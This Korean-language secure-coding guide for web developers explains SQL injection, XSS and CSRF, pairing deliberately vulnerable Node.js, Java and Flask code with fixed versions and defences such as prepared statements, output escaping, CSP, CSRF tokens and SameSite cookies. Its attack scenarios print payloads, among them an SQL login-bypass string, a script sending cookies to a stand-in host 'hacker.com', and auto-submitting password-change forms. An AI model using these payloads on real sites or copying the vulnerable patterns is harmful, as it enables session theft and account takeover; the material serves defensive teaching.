서문: 코드, 그리고 새로운 전장(戰場)
과거의 보안은 성벽을 쌓고 해자를 파는 것과 같았습니다. 견고한 방화벽과 네트워크 경계 보안 솔루션으로 외부의 위협으로부터 내부 시스템을 보호하는 것이 핵심 전략이었습니다. 그러나 클라우드 컴퓨팅, 마이크로서비스 아키텍처(MSA), 그리고 수많은 API가 서로 얽혀 동작하는 현대의 웹 환경에서 '경계'라는 개념은 점차 희미해지고 있습니다. 이제 공격의 최전선은 네트워크가 아닌, 우리가 매일 작성하고 배포하는 애플리케이션 그 자체가 되었습니다.
이러한 패러다임의 전환은 개발자에게 더 큰 책임과 권한을 부여합니다. 보안은 더 이상 배포 후반 단계에서 보안팀이 점검하고 조치하는 '사후 처리'가 될 수 없습니다. 개발 수명 주기(SDLC)의 가장 왼쪽, 즉 코드 작성 단계에서부터 보안 위협을 인지하고 방어 논리를 적용하는 '시프트 레프트(Shift Left)' 접근 방식이 필수불가결한 요소로 자리 잡았습니다. 개발자가 작성하는 코드 한 줄이 기업의 데이터를 보호하는 가장 강력한 방패가 될 수도, 혹은 모든 것을 잃게 만드는 치명적인 아킬레스건이 될 수도 있는 시대입니다.
하지만 어디서부터 시작해야 할까요? 수많은 웹 취약점 목록 앞에서 막막함을 느끼기 쉽습니다. 다행히도, 공격의 양상은 끊임없이 변화하지만 그 근본 원리는 크게 변하지 않습니다. 수십 년간 웹 애플리케이션을 괴롭혀 온 고전적인 취약점들은 오늘날에도 여전히 가장 빈번하게 발견되며, 가장 파괴적인 결과를 초래합니다. 최신 프레임워크와 라이브러리가 많은 부분을 자동화해주지만, 그 동작 원리에 대한 깊은 이해 없이는 여전히 실수는 발생하기 마련입니다.
본 문서는 보안 전문가가 아닌, 현업에서 고군분투하는 웹 개발자들을 위해 작성되었습니다. OWASP(The Open Web Application Security Project)에서 수년간 지적해 온 핵심적인 웹 취약점들, 특히 개발자가 코딩 과정에서 실수하기 쉬운 항목들을 중심으로 그 원리를 파헤쳐 봅니다. 단순히 '이렇게 하지 마세요'라는 경고를 넘어, 취약점이 발생하는 근본적인 이유와 공격자의 시각을 이해하고, 실제 다양한 언어(Java, Python, Node.js) 기반의 '나쁜 코드'와 이를 방어하는 '좋은 코드' 예제를 통해 실질적인 해결책을 제시하고자 합니다. 이 글을 통해 독자 여러분은 단순한 코더를 넘어, 스스로의 코드로 견고한 보안 방어선을 구축하는 '시큐어 코더(Secure Coder)'로 거듭나는 첫걸음을 내딛게 될 것입니다.
1. SQL Injection: 데이터베이스를 향한 날카로운 창
SQL Injection(SQLi)은 웹 보안의 역사와 함께 시작된, 가장 오래되고 강력하며 여전히 가장 빈번하게 발견되는 취약점 중 하나입니다. 그 본질은 매우 간단합니다. **"사용자로부터 입력받은 데이터를 신뢰하고, 이를 검증 없이 데이터베이스 쿼리문의 일부로 그대로 사용해서 발생하는 문제"**입니다. 공격자는 입력값에 악의적인 SQL 구문을 삽입하여 개발자가 의도하지 않은 쿼리를 실행시키고, 이를 통해 데이터베이스의 정보를 탈취하거나, 수정, 삭제, 심지어는 시스템 전체의 제어권을 장악하기까지 합니다. 마치 자판기에 동전을 넣어야 하는데, 동전 대신 자판기 자체를 조작하는 만능키를 집어넣는 것과 같습니다.
SQL Injection의 작동 원리와 다양한 공격 기법
SQL Injection의 가장 기본적인 형태는 인증 우회 공격에서 찾아볼 수 있습니다. 다음은 일반적인 로그인 로직을 처리하는 SQL 쿼리입니다.
SELECT * FROM users WHERE username = '입력받은_아이디' AND password = '입력받은_비밀번호';
정상적인 사용자라면 자신의 아이디와 비밀번호를 입력할 것입니다. 하지만 공격자는 비밀번호 입력란에 다음과 같은 값을 입력합니다.
' OR '1'='1' --
이 입력값이 서버로 전달되어 쿼리문에 그대로 합쳐지면, 최종적으로 데이터베이스에서 실행되는 쿼리는 다음과 같이 변형됩니다.
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' --';
대부분의 SQL 방언에서 `--`는 주석을 의미하므로, 이 구문 뒤에 오는 내용은 무시됩니다. 데이터베이스는 이 쿼리를 다음과 같이 해석합니다.
username = 'admin' AND password = ''
: 이 부분은 거짓(false)일 가능성이 높습니다.'1'='1'
: 이 부분은 항상 참(true)입니다.WHERE (조건1) OR (조건2)
: 조건2가 항상 참이므로, WHERE 절 전체가 참이 됩니다.
결과적으로 이 쿼리는 users
테이블의 모든 레코드를 반환하게 되며, 애플리케이션 로직이 첫 번째 레코드를 해당 사용자'admin'으로 인식하고 로그인 시켜준다면, 공격자는 비밀번호 없이도 관리자 계정으로 로그인에 성공하게 됩니다.
SQL Injection은 단순히 인증 우회에만 그치지 않고, 훨씬 더 정교하고 파괴적인 형태로 진화했습니다.
- Error-based SQLi: 공격자가 일부러 잘못된 SQL 구문을 삽입하여 데이터베이스가 오류 메시지를 뱉어내게 만듭니다. 많은 경우, 이 오류 메시지에는 테이블명, 컬럼명, 데이터베이스 버전 등 민감한 내부 정보가 포함되어 있어, 공격자가 데이터베이스의 구조를 파악하는 데 결정적인 단서를 제공합니다.
- UNION-based SQLi:
UNION
연산자를 사용하여 기존 쿼리의 결과에 공격자가 원하는 쿼리의 결과를 덧붙여 한 번에 탈취하는 기법입니다. 예를 들어, 게시글을 조회하는 쿼리에 사용자 정보를 조회하는 쿼리를 덧붙여 게시글 내용 대신 사용자들의 아이디와 비밀번호 해시값을 화면에 출력하게 만들 수 있습니다. - Blind SQLi: 서버가 아무런 오류 메시지나 직접적인 데이터 변화를 보여주지 않을 때 사용하는 고도의 기법입니다.
- Boolean-based Blind SQLi: 쿼리에 참/거짓 조건을 추가하여 서버의 응답 변화(예: 페이지 내용이 약간 달라짐)를 통해 정보를 유추합니다. 예를 들어 "관리자 비밀번호의 첫 글자가 'a'인가?" 와 같은 논리적인 질문을 쿼리에 담아 던지고, 참일 때와 거짓일 때의 페이지 응답 차이를 분석하여 한 글자씩 비밀번호를 알아내는 방식입니다.
- Time-based Blind SQLi: 참/거짓으로 응답을 구분하기조차 어려울 때 사용하는 최후의 수단입니다. 쿼리에
SLEEP()
이나WAITFOR DELAY
같은 함수를 조건부로 삽입하여, 조건이 참일 때 서버의 응답이 지연되도록 만듭니다. 예를 들어 "관리자 비밀번호의 첫 글자가 'a'라면 5초간 대기하라"는 쿼리를 보내고, 실제로 응답이 5초 늦게 오면 첫 글자가 'a'임을 확신하는 방식입니다. 극도의 인내심이 필요하지만 이론상 거의 모든 정보를 빼낼 수 있습니다.
취약한 코드 예제 (Vulnerable Code)
그렇다면 어떤 코드가 이런 끔찍한 결과를 낳을까요? 핵심은 '문자열 접합(String Concatenation)' 방식의 쿼리 생성입니다.
Node.js (Express + mysql)
// 절대 이렇게 사용하지 마세요!
app.post('/login', (req, res) => {
const { username, password } = req.body;
// 사용자 입력을 그대로 쿼리 문자열에 붙여넣는 방식
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query, (err, results) => {
if (err) throw err;
if (results.length > 0) {
// 로그인 성공
res.send('Login successful!');
} else {
// 로그인 실패
res.send('Invalid credentials.');
}
});
});
Java (JDBC)
// 절대 이렇게 사용하지 마세요!
public User login(String username, String password) throws SQLException {
Connection connection = dataSource.getConnection();
// 사용자 입력을 그대로 쿼리 문자열에 합치는 방식
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
if (rs.next()) {
// 로그인 성공, 사용자 객체 반환
return new User(rs.getLong("id"), rs.getString("username"));
} else {
// 로그인 실패
return null;
}
}
방어 전략: 쿼리와 데이터의 완벽한 분리
SQL Injection을 막는 가장 근본적이고 확실한 방법은 **준비된 구문(Prepared Statements)**, 또는 **매개변수화된 쿼리(Parameterized Queries)**를 사용하는 것입니다. 이 방식의 핵심 원리는 SQL 쿼리의 '구조(Structure)'와 사용자가 입력한 '데이터(Data)'를 완전히 분리하여 데이터베이스 엔진에 전달하는 것입니다.
프로세스는 다음과 같습니다.
- 1단계 (Parse): 개발자는 실제 값이 들어갈 자리를 플레이스홀더(placeholder, 보통
?
또는:name
형태)로 비워둔 채로 SQL 쿼리 템플릿을 데이터베이스에 먼저 보냅니다.SELECT * FROM users WHERE username = ? AND password = ?
- 2단계 (Compile): 데이터베이스 엔진은 이 쿼리 템플릿의 문법을 분석하고, 실행 계획을 세워 컴파일합니다. 이 단계에서 쿼리의 '구조'가 완전히 고정됩니다.
- 3단계 (Bind & Execute): 개발자는 사용자로부터 입력받은 값을 별도의 파라미터로 데이터베이스에 전달합니다. 데이터베이스 엔진은 이 값들을 컴파일된 쿼리 템플릿의 플레이스홀더에 '데이터'로서 안전하게 바인딩(binding)한 후 쿼리를 실행합니다.
이 과정에서 사용자가 ' OR '1'='1'
같은 악성 문자열을 입력하더라도, 이 문자열은 쿼리의 구조를 바꾸는 코드로 해석되는 것이 아니라, 그저 '문자열 데이터'로 취급되어 password
컬럼에서 ' OR '1'='1'
이라는 값을 가진 데이터를 찾으려고 시도할 뿐입니다. 당연히 그런 데이터는 없으므로 쿼리는 안전하게 실패합니다.
안전한 코드 예제 (Secure Code)
Node.js (Express + mysql2)
mysql
패키지는 기본적으로 Prepared Statements를 지원하지 않으므로, 이를 지원하는 mysql2
사용을 권장합니다.
// 권장되는 안전한 방식
const mysql = require('mysql2'); // mysql2 패키지 사용
const db = mysql.createConnection({...});
app.post('/login', (req, res) => {
const { username, password } = req.body;
// 쿼리 템플릿. 값은 '?' 플레이스홀더로 대체
const query = "SELECT * FROM users WHERE username = ? AND password = ?";
// 쿼리와 데이터를 분리하여 전달
db.query(query, [username, password], (err, results) => {
if (err) throw err;
if (results.length > 0) {
res.send('Login successful!');
} else {
res.send('Invalid credentials.');
}
});
});
Java (JDBC PreparedStatement)
// 권장되는 안전한 방식
public User login(String username, String password) throws SQLException {
Connection connection = dataSource.getConnection();
// 쿼리 템플릿. 값은 '?' 플레이스홀더로 대체
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
// PreparedStatement 사용
try (PreparedStatement pstmt = connection.prepareStatement(sql)) {
// setString 메소드가 자동으로 이스케이핑 등 필요한 처리를 수행
pstmt.setString(1, username); // 첫 번째 ?에 username 바인딩
pstmt.setString(2, password); // 두 번째 ?에 password 바인딩
ResultSet rs = pstmt.executeQuery();
if (rs.next()) {
return new User(rs.getLong("id"), rs.getString("username"));
} else {
return null;
}
} // try-with-resources 구문으로 자동 리소스 해제
}
ORM(Object-Relational Mapping) 사용 시 주의점
Django ORM, SQLAlchemy(Python), TypeORM(TypeScript), Hibernate(Java)와 같은 ORM은 대부분 내부적으로 Prepared Statements를 사용하여 SQL Injection에 대해 기본적으로 안전합니다. 하지만 ORM이 제공하는 'Raw Query'나 'Native Query' 실행 기능을 사용할 때는 개발자가 직접 안전 조치를 취해야 합니다. ORM을 사용하더라도, 문자열 포매팅으로 쿼리를 만들고 있다면 SQL Injection에 그대로 노출됩니다.
추가 방어 계층 (Defense in Depth)
- 입력값 검증 (Input Validation): 사용자 입력이 예상된 형식(타입, 길이, 포맷)인지 항상 서버 측에서 검증합니다. 예를 들어, ID는 영문/숫조합 8~20자, 전화번호는 숫자 10~11자리와 같은 규칙을 적용하는 '허용 목록(Whitelist)' 방식이 효과적입니다. 하지만 이것은 보조 수단일 뿐, Prepared Statements를 대체할 수는 없습니다.
- 최소 권한의 원칙 (Principle of Least Privilege): 웹 애플리케이션이 사용하는 데이터베이스 계정에 꼭 필요한 권한(
SELECT
,INSERT
,UPDATE
,DELETE
)만 부여하고,DROP
,TRUNCATE
같은 위험한 권한이나 시스템 테이블 접근 권한은 제거해야 합니다. - 상세한 오류 메시지 비활성화: 프로덕션 환경에서는 데이터베이스 오류 메시지가 사용자에게 노출되지 않도록 설정해야 합니다. 이는 Error-based SQLi 공격을 통한 정보 유출을 막아줍니다.
2. 크로스 사이트 스크립팅 (XSS): 신뢰를 배신하는 악성 스크립트
크로스 사이트 스크립팅(Cross-Site Scripting, XSS)은 공격자가 웹 애플리케이션에 악의적인 클라이언트 사이드 스크립트(주로 JavaScript)를 삽입하고, 이 스크립트가 다른 사용자의 브라우저 내에서 실행되도록 하는 공격 기법입니다. 웹 서버 자체를 공격하는 것이 아니라, 해당 서버를 신뢰하는 사용자들을 공격 대상으로 삼습니다. 브라우저는 서버로부터 전달받은 모든 콘텐츠를 신뢰하고 실행하기 때문에, 정상적인 콘텐츠 사이에 숨어든 악성 스크립트 역시 아무런 의심 없이 사용자의 권한으로 실행하게 됩니다. 이를 통해 공격자는 사용자의 세션 쿠키 탈취, 개인정보 유출, 키보드 입력 가로채기(Keylogging), 악성 사이트로의 리다이렉션 등 다양한 악성 행위를 수행할 수 있습니다.
XSS의 세 가지 얼굴: Stored, Reflected, DOM-based
XSS는 악성 스크립트가 저장되는 위치와 실행되는 방식에 따라 크게 세 가지 유형으로 나뉩니다.
-
Stored XSS (저장형 XSS)
가장 위험하고 파급력이 큰 유형입니다. 공격자가 삽입한 악성 스크립트가 데이터베이스, 파일 시스템 등 서버의 저장소에 영구적으로 저장됩니다. 이후, 해당 데이터가 포함된 페이지를 요청하는 모든 사용자는 자신도 모르는 사이에 악성 스크립트의 공격을 받게 됩니다. 주로 게시판의 게시물, 댓글, 사용자 프로필, 채팅 메시지 등 여러 사용자가 공유하는 콘텐츠를 통해 전파됩니다.
공격 시나리오:
- 공격자가 웹사이트 게시판에
<script>document.location='http://hacker.com/steal?cookie=' + document.cookie;</script>
와 같은 악성 스크립트가 포함된 게시글을 작성합니다. - 서버는 이 게시글 내용을 아무런 필터링 없이 데이터베이스에 저장합니다.
- 다른 일반 사용자가 해당 게시글을 클릭하여 읽으려고 합니다.
- 서버는 데이터베이스에서 게시글 내용을 가져와 HTML 페이지에 포함시켜 사용자에게 전송합니다.
- 사용자의 브라우저는 HTML을 렌더링하다가
<script>
태그를 만나고, 이를 정상적인 자바스크립트로 인식하여 실행합니다. - 스크립트가 실행되면서 사용자의 세션 쿠키 정보가 공격자의 서버(
hacker.com
)로 전송됩니다. - 공격자는 탈취한 쿠키를 이용해 해당 사용자의 계정으로 로그인하여 모든 권한을 행사할 수 있게 됩니다.
- 공격자가 웹사이트 게시판에
-
Reflected XSS (반사형 XSS)
악성 스크립트가 서버에 저장되지 않고, 사용자의 요청(주로 URL의 쿼리 파라미터)에 포함되어 서버로 전송된 후, 서버의 응답 페이지에 해당 스크립트가 그대로 '반사'되어 포함되어 돌아오는 방식입니다. 공격이 성공하려면 공격자가 이메일, 메신저, 소셜 미디어 등을 통해 악성 스크립트가 포함된 URL을 다른 사용자에게 클릭하도록 유도해야 합니다.
공격 시나리오:
- 웹사이트에 검색 기능이 있고, 검색 결과 페이지에는 `http://example.com/search?q=검색어` 와 같이 URL에 검색어가 표시됩니다. 페이지 본문에는 "검색어에 대한 결과입니다." 와 같이 출력됩니다.
- 공격자는
<script>alert('XSS');</script>
라는 스크립트를 URL 인코딩하여 악성 URL을 만듭니다: `http://example.com/search?q=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E` - 공격자는 이 URL을 "재미있는 검색 결과" 와 같은 문구로 위장하여 다른 사용자에게 보냅니다.
- 사용자가 이 링크를 클릭하면, 브라우저는 해당 URL로 서버에 요청을 보냅니다.
- 서버는
q
파라미터 값을 그대로 읽어와 응답 HTML에 포함시킵니다: `...<script>alert('XSS');</script>에 대한 결과입니다.
...` - 사용자의 브라우저는 이 응답을 받아 렌더링하다가 스크립트를 실행하고, 'XSS' 라는 경고창이 뜨게 됩니다. (실제 공격에서는 쿠키 탈취 등의 코드가 실행됩니다.)
-
DOM-based XSS (DOM 기반 XSS)
서버 측의 로직과는 무관하게, 순수하게 클라이언트 측(브라우저)의 JavaScript 코드에서 발생하는 취약점입니다. 페이지의 DOM(Document Object Model)을 조작하는 과정에서, URL의 해시(
#
) 부분이나 다른 DOM 요소로부터 가져온 데이터를 안전하게 처리하지 않고 `innerHTML`, `document.write()` 와 같은 위험한 '싱크(sink)' 함수에 넘겨줄 때 발생합니다. 서버는 악성 스크립트의 존재 자체를 인지하지 못하며, 모든 과정이 브라우저 내에서 이루어집니다.공격 시나리오:
- 웹 페이지에
<script> document.getElementById('content').innerHTML = "Welcome, " + location.hash.substring(1); </script>
와 같은 코드가 있습니다. URL의 해시 값(# 뒤의 문자열)을 가져와 'content' 요소에 출력하는 기능입니다. - 공격자는 악성 URL을 만듭니다: `http://example.com/welcome#<img src=x onerror=alert(document.cookie)>`
- 사용자가 이 링크를 클릭합니다. 서버는
/welcome
페이지만을 인식하고 정상적인 페이지를 응답합니다. URL의 해시 부분은 서버로 전송되지 않습니다. - 페이지가 로드된 후, 브라우저의 JavaScript가 `location.hash`를 읽어옵니다. 이 값은 `"#
"` 입니다.
- 스크립트는 이 값을 `innerHTML`에 그대로 할당합니다. 브라우저는 이 문자열을 HTML로 파싱하여 DOM에 삽입하려고 시도합니다.
<img>
태그의src
가 유효하지 않으므로onerror
이벤트가 발생하고, 그 안에 있던 JavaScript 코드alert(document.cookie)
가 실행됩니다.
- 웹 페이지에
취약한 코드 예제 (Vulnerable Code)
XSS 취약점은 사용자 입력을 HTML 컨텍스트 내에 출력할 때, 해당 입력값을 '있는 그대로' 렌더링하기 때문에 발생합니다.
Node.js (EJS 템플릿 엔진)
// Reflected XSS 예제
app.get('/search', (req, res) => {
const query = req.query.q || '';
// EJS의 <%- ... %> 태그는 이스케이핑을 하지 않고 그대로 출력 (Unescaped)
// 이것이 XSS 취약점의 원인이 됨
res.render('search-results', {
searchQuery: query
});
});
<!-- search-results.ejs -->
<h1>Search Results</h1>
<p>Results for: <b><%- searchQuery %></b></p>
<!-- 만약 searchQuery가 <script>...</script> 라면 스크립트가 그대로 삽입됨 -->
Python (Flask + Jinja2)
Jinja2는 기본적으로 자동 이스케이핑을 지원하여 매우 안전하지만, `| safe` 필터를 사용하면 이 기능이 무력화되어 XSS에 취약해집니다.
# Stored XSS 예제
from flask import Flask, request, render_template_string
import db # 가상의 데이터베이스 모듈
app = Flask(__name__)
@app.route('/post/<int:post_id>')
def show_post(post_id):
post_content = db.get_post_content(post_id) # DB에서 게시물 내용을 가져옴
# 개발자가 HTML 태그를 허용하기 위해 'safe' 필터를 사용했지만,
# 이는 악성 스크립트까지 허용하는 결과를 낳음
template = "<h1>Post Title</h1><div>{{ content | safe }}</div>"
return render_template_string(template, content=post_content)
방어 전략: 컨텍스트를 고려한 출력 인코딩(Output Encoding)
XSS를 방어하는 가장 근본적이고 확실한 방법은 **출력 인코딩(Output Encoding)** 또는 **이스케이핑(Escaping)**입니다. 이는 사용자로부터 입력받은 데이터를 HTML 페이지에 출력하기 전에, 해당 데이터가 브라우저에 의해 HTML 태그나 스크립트로 해석되지 않고 오직 평범한 '텍스트'로만 보이도록 문자를 변환하는 과정입니다.
가장 중요한 원칙은 **"어떤 컨텍스트(Context)에 출력되느냐에 따라 다른 방식의 인코딩을 적용해야 한다"**는 것입니다.
- HTML Body Context:
<div>{사용자_입력}</div>
과 같은 곳에 출력될 때. 이 경우, HTML에서 특별한 의미를 갖는 문자들을 HTML Entity로 변환해야 합니다.<
→<
>
→>
&
→&
"
→"
'
→'
- HTML Attribute Context:
<input type="text" value="{사용자_입력}">
과 같이 HTML 태그의 속성값으로 출력될 때. 위 HTML Body 인코딩과 더불어, 속성값을 벗어나는 것을 막기 위해 따옴표 인코딩이 중요합니다. - JavaScript Context:
<script>var username = '{사용자_입력}';</script>
와 같이 스크립트 내의 변수 값으로 출력될 때. 이 경우, 문자열을 벗어나거나 새로운 코드를 실행하는 것을 막기 위해 백슬래시(\
)를 이용한 이스케이핑이 필요합니다. - URL Context:
<a href="/profile?user={사용자_입력}">
와 같이 URL의 일부로 출력될 때. URL에서 특별한 의미를 갖는 문자들을 퍼센트 인코딩(Percent Encoding)해야 합니다.
안전한 코드 예제 (Secure Code)
다행히도 대부분의 현대 웹 프레임워크와 템플릿 엔진은 기본적으로 HTML Body 컨텍스트에 대한 자동 이스케이핑 기능을 제공합니다.
Node.js (EJS 템플릿 엔진)
이스케이핑을 수행하는 <%= ... %>
태그를 사용해야 합니다.
app.get('/search', (req, res) => {
const query = req.query.q || '';
// 기본 태그인 <%= ... %>는 자동으로 이스케이핑을 수행
res.render('search-results', {
searchQuery: query
});
});
<!-- search-results.ejs -->
<h1>Search Results</h1>
<p>Results for: <b><%= searchQuery %></b></p>
<!-- searchQuery가 <script>...</script> 라면,
브라우저에는 <script>...</script> 로 출력되어 스크립트가 실행되지 않고 문자열 그대로 보임 -->
Python (Flask + Jinja2)
절대로, 정말로 필요한 경우가 아니라면 | safe
필터를 사용하지 않습니다.
@app.route('/post/<int:post_id>')
def show_post(post_id):
post_content = db.get_post_content(post_id)
# 'safe' 필터를 제거하면 Jinja2가 자동으로 모든 HTML 특수 문자를 이스케이핑함
template = "<h1>Post Title</h1><div>{{ content }}</div>"
return render_template_string(template, content=post_content)
심층 방어: CSP와 보안 헤더
출력 인코딩이 XSS를 막는 핵심 방어책이지만, 만에 하나 개발자의 실수로 취약점이 발생했을 경우 피해를 최소화하기 위한 추가적인 방어 계층을 구축하는 것이 중요합니다.
- Content Security Policy (CSP): 웹 서버가 HTTP 응답 헤더를 통해 브라우저에게 "이 페이지에서는 특정 출처(source)의 리소스(스크립트, 스타일시트, 이미지 등)만 로드하고 실행할 수 있다"고 명시하는 강력한 보안 정책입니다. 예를 들어,
Content-Security-Policy: script-src 'self' https://apis.google.com
헤더를 설정하면, 브라우저는 해당 페이지의 도메인('self'
)과https://apis.google.com
에서 온 스크립트만 실행하고, 인라인 스크립트나 다른 도메인에서 온 스크립트는 모두 차단합니다. 이는 대부분의 XSS 공격 페이로드를 무력화할 수 있습니다. - HTTPOnly 쿠키 플래그: 서버가 세션 쿠키를 발급할 때
Set-Cookie: SESSIONID=...; HttpOnly
와 같이HttpOnly
플래그를 설정하면, 해당 쿠키는 JavaScript의document.cookie
API를 통해 접근할 수 없게 됩니다. 이로 인해 XSS 공격이 성공하더라도 공격자가 사용자의 세션 쿠키를 탈취하는 가장 일반적인 공격 시나리오를 막을 수 있습니다. - 입력값 검증 (Input Validation): 출력 인코딩이 주된 방어책이지만, 입력 단계에서부터 명백히 비정상적인 데이터(예:
<script>
태그 포함)를 차단하는 것도 도움이 될 수 있습니다.
3. 크로스 사이트 요청 위조 (CSRF): 내 의지와 상관없는 요청
크로스 사이트 요청 위조(Cross-Site Request Forgery, CSRF 또는 XSRF)는 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행동(수정, 삭제, 등록 등)을 특정 웹사이트에 요청하게 만드는 공격 기법입니다. 공격자는 사용자가 이미 로그인 되어 있는 웹 애플리케이션의 인증 정보를 악용합니다. 사용자가 특정 웹사이트(예: mybank.com
)에 로그인하면, 브라우저는 해당 사이트에 대한 인증 정보(주로 세션 쿠키)를 저장합니다. 이후 사용자가 공격자의 웹사이트(evil.com
)를 방문했을 때, 그 사이트에 숨겨진 코드가 사용자의 브라우저를 조종하여 mybank.com
에 특정 요청을 보내도록 합니다. 이때 브라우저는 자동으로 mybank.com
의 세션 쿠키를 함께 전송하기 때문에, mybank.com
서버 입장에서는 이 요청이 정상적인 사용자의 요청인지, 공격자에 의해 위조된 요청인지 구분할 수 없게 됩니다.
CSRF는 XSS와 이름이 비슷하여 혼동하기 쉽지만, 근본적인 차이가 있습니다. XSS는 사용자의 브라우저에서 악성 스크립트를 실행시켜 신뢰를 탈취하는 공격인 반면, CSRF는 서버가 사용자의 브라우저에서 온 요청을 신뢰한다는 점을 악용하는 공격입니다.
CSRF 공격 시나리오
회원 정보를 수정하는 기능을 예로 들어보겠습니다.
- 사용자는 정상적으로
good-service.com
에 로그인하여 활동 중입니다. 브라우저에는good-service.com
에 대한 세션 쿠키가 저장되어 있습니다. - 공격자는 "최신 유머 모음" 과 같은 제목으로 사용자를 유인하여 자신의 웹사이트
hacker-site.com
를 방문하게 합니다. hacker-site.com
의 HTML에는 사용자 눈에 보이지 않는 코드가 숨겨져 있습니다. 예를 들어, 이메일 주소를 변경하는 요청을 자동으로 보내는 코드입니다.<!-- 사용자는 이 이미지를 볼 수 없음 --> <img src="http://good-service.com/change-email?new_email=hacker@hacker.com" width="1" height="1">
또는, 사용자가 페이지를 열자마자 자동으로 제출되는 폼을 사용할 수도 있습니다.
<body onload="document.csrfForm.submit()"> <h1>최신 유머!</h1> <form name="csrfForm" action="http://good-service.com/change-password" method="POST"> <input type="hidden" name="new_password" value="hacked123"> <input type="hidden" name="confirm_password" value="hacked123"> </form> <!-- ... 유머 콘텐츠 ... --> </body>
- 사용자가
hacker-site.com
을 방문하면, 브라우저는 이 코드를 해석하여good-service.com
으로 이메일 변경 또는 비밀번호 변경 요청을 보냅니다. - 이때 브라우저는 요청에
good-service.com
의 세션 쿠키를 자동으로 첨부합니다. good-service.com
서버는 유효한 세션 쿠키가 포함된 요청을 받았으므로, 이를 정상적인 사용자의 요청으로 신뢰하고 이메일 주소나 비밀번호를 공격자의 것으로 변경합니다.- 사용자는 자신의 계정 정보가 변경된 사실을 전혀 인지하지 못합니다.
방어 전략 1: 안티 CSRF 토큰 (Synchronizer Token Pattern)
CSRF 공격을 막는 가장 전통적이고 확실한 방법은 '안티 CSRF 토큰'을 사용하는 것입니다. 이 방법의 핵심은 **"요청을 보내는 주체가 정상적인 사용자임을 증명할 수 있는, 예측 불가능한 비밀 값을 요청에 포함시키는 것"**입니다.
동작 방식은 다음과 같습니다.
- 사용자가 로그인하면, 서버는 암호학적으로 안전한 난수 생성기를 이용해 예측 불가능한 'CSRF 토큰'을 생성하고, 이를 사용자의 세션에 저장합니다.
- 서버는 상태를 변경하는(e.g., POST, PUT, DELETE) 모든 HTML 폼에 해당 CSRF 토큰을
<input type="hidden">
형태로 포함시켜 사용자에게 전달합니다.<form action="/change-password" method="POST"> <input type="hidden" name="_csrf_token" value="K3fD9aZp7bQv1n..."> <label for="new_password">New Password:</label> <input type="password" id="new_password" name="new_password"> <button type="submit">Change Password</button> </form>
- 사용자가 이 폼을 제출하면, 폼 데이터에 포함된
_csrf_token
값도 함께 서버로 전송됩니다. - 서버는 요청을 처리하기 전에, 폼으로 전송된 토큰 값과 사용자의 세션에 저장된 토큰 값이 일치하는지 검증합니다.
- 두 값이 일치하면, 요청이 정상적인 경로를 통해 온 것임을 신뢰하고 요청을 처리합니다. 값이 일치하지 않거나 토큰이 없으면, CSRF 공격으로 간주하고 요청을 거부합니다.
공격자의 사이트 hacker-site.com
에서는 사용자의 세션에 저장된 이 비밀 토큰 값을 알 수 없기 때문에, 위조된 요청에 올바른 토큰을 포함시킬 수 없습니다. 따라서 이 방어 기법은 매우 효과적입니다.
대부분의 현대 웹 프레임워크(Django, Ruby on Rails, Spring Security, Express 미들웨어 등)는 이러한 안티 CSRF 토큰 기능을 내장하고 있으며, 간단한 설정만으로 활성화할 수 있습니다.
방어 전략 2: SameSite 쿠키 속성
SameSite는 CSRF 공격을 브라우저 수준에서 방어하기 위해 도입된 쿠키의 속성입니다. 서버가 쿠키를 설정할 때, 이 쿠키가 크로스 사이트(cross-site) 요청에 포함되어야 하는지에 대한 정책을 브라우저에 알려주는 역할을 합니다.
SameSite=Strict
: 가장 강력한 정책입니다. 쿠키는 오직 해당 쿠키가 발급된 동일한 사이트(same-site)에서 시작된 요청에만 전송됩니다. 다른 도메인에서 링크를 클릭하여 넘어오는 경우에도 쿠키가 전송되지 않습니다. CSRF를 완벽하게 방어할 수 있지만, 외부 사이트에서 내 사이트로 링크를 통해 들어올 때 로그인 상태가 풀리는 등 사용자 경험을 해칠 수 있습니다.SameSite=Lax
:Strict
보다 약간 완화된 정책입니다.GET
,HEAD
,OPTIONS
,TRACE
와 같이 안전한 HTTP 메소드를 사용한 최상위 네비게이션(top-level navigation, 예: 다른 사이트의 링크를 클릭하는 경우)에서는 쿠키가 전송됩니다. 하지만POST
와 같은 상태 변경 요청이나,<img>
,<iframe>
을 통해 백그라운드에서 발생하는 요청에는 쿠키가 전송되지 않습니다. 대부분의 CSRF 공격을 효과적으로 막아주면서도 사용자 경험을 크게 해치지 않아, 현재 많은 브라우저에서 기본값으로 채택하고 있습니다.SameSite=None
: 기존의 방식대로 모든 크로스 사이트 요청에 쿠키를 전송합니다. 이 값을 사용하려면 반드시Secure
속성(HTTPS에서만 쿠키 전송)을 함께 지정해야 합니다.
개발자는 세션 쿠키를 발급할 때 Set-Cookie: SESSIONID=...; SameSite=Lax; HttpOnly; Secure
와 같이 SameSite
속성을 명시적으로 설정하여 브라우저의 CSRF 방어 기능을 적극적으로 활용해야 합니다.
기타 방어 기법
- Referer 헤더 검증: 서버에서 요청의
Referer
헤더 값을 확인하여, 요청이 허용된 도메인에서 시작되었는지 검사하는 방법입니다. 간단하게 구현할 수 있지만,Referer
헤더는 사용자의 개인정보 보호 설정이나 프록시 등에 의해 누락될 수 있고, 일부 상황에서는 위조가 가능하여 단독 방어책으로는 신뢰도가 낮습니다. 보조적인 수단으로만 사용해야 합니다. - 재인증(Re-authentication): 비밀번호 변경, 계좌 이체, 회원 탈퇴 등 매우 중요한 작업을 수행하기 전에는 사용자에게 현재 비밀번호를 다시 입력하도록 요구하여, 해당 요청이 정말로 사용자의 의사에 의한 것인지 한 번 더 확인하는 방법입니다.
4. 그 외 주요 취약점: 개발자가 놓치기 쉬운 함정들
앞서 다룬 3가지 주요 취약점 외에도, 개발 과정에서 빈번하게 발생하며 심각한 보안 사고로 이어질 수 있는 여러 취약점들이 존재합니다. 이들은 종종 프레임워크의 편리함 뒤에 가려지거나, 보안에 대한 사소한 오해에서 비롯되곤 합니다.
보안 설정 오류 (Security Misconfiguration)
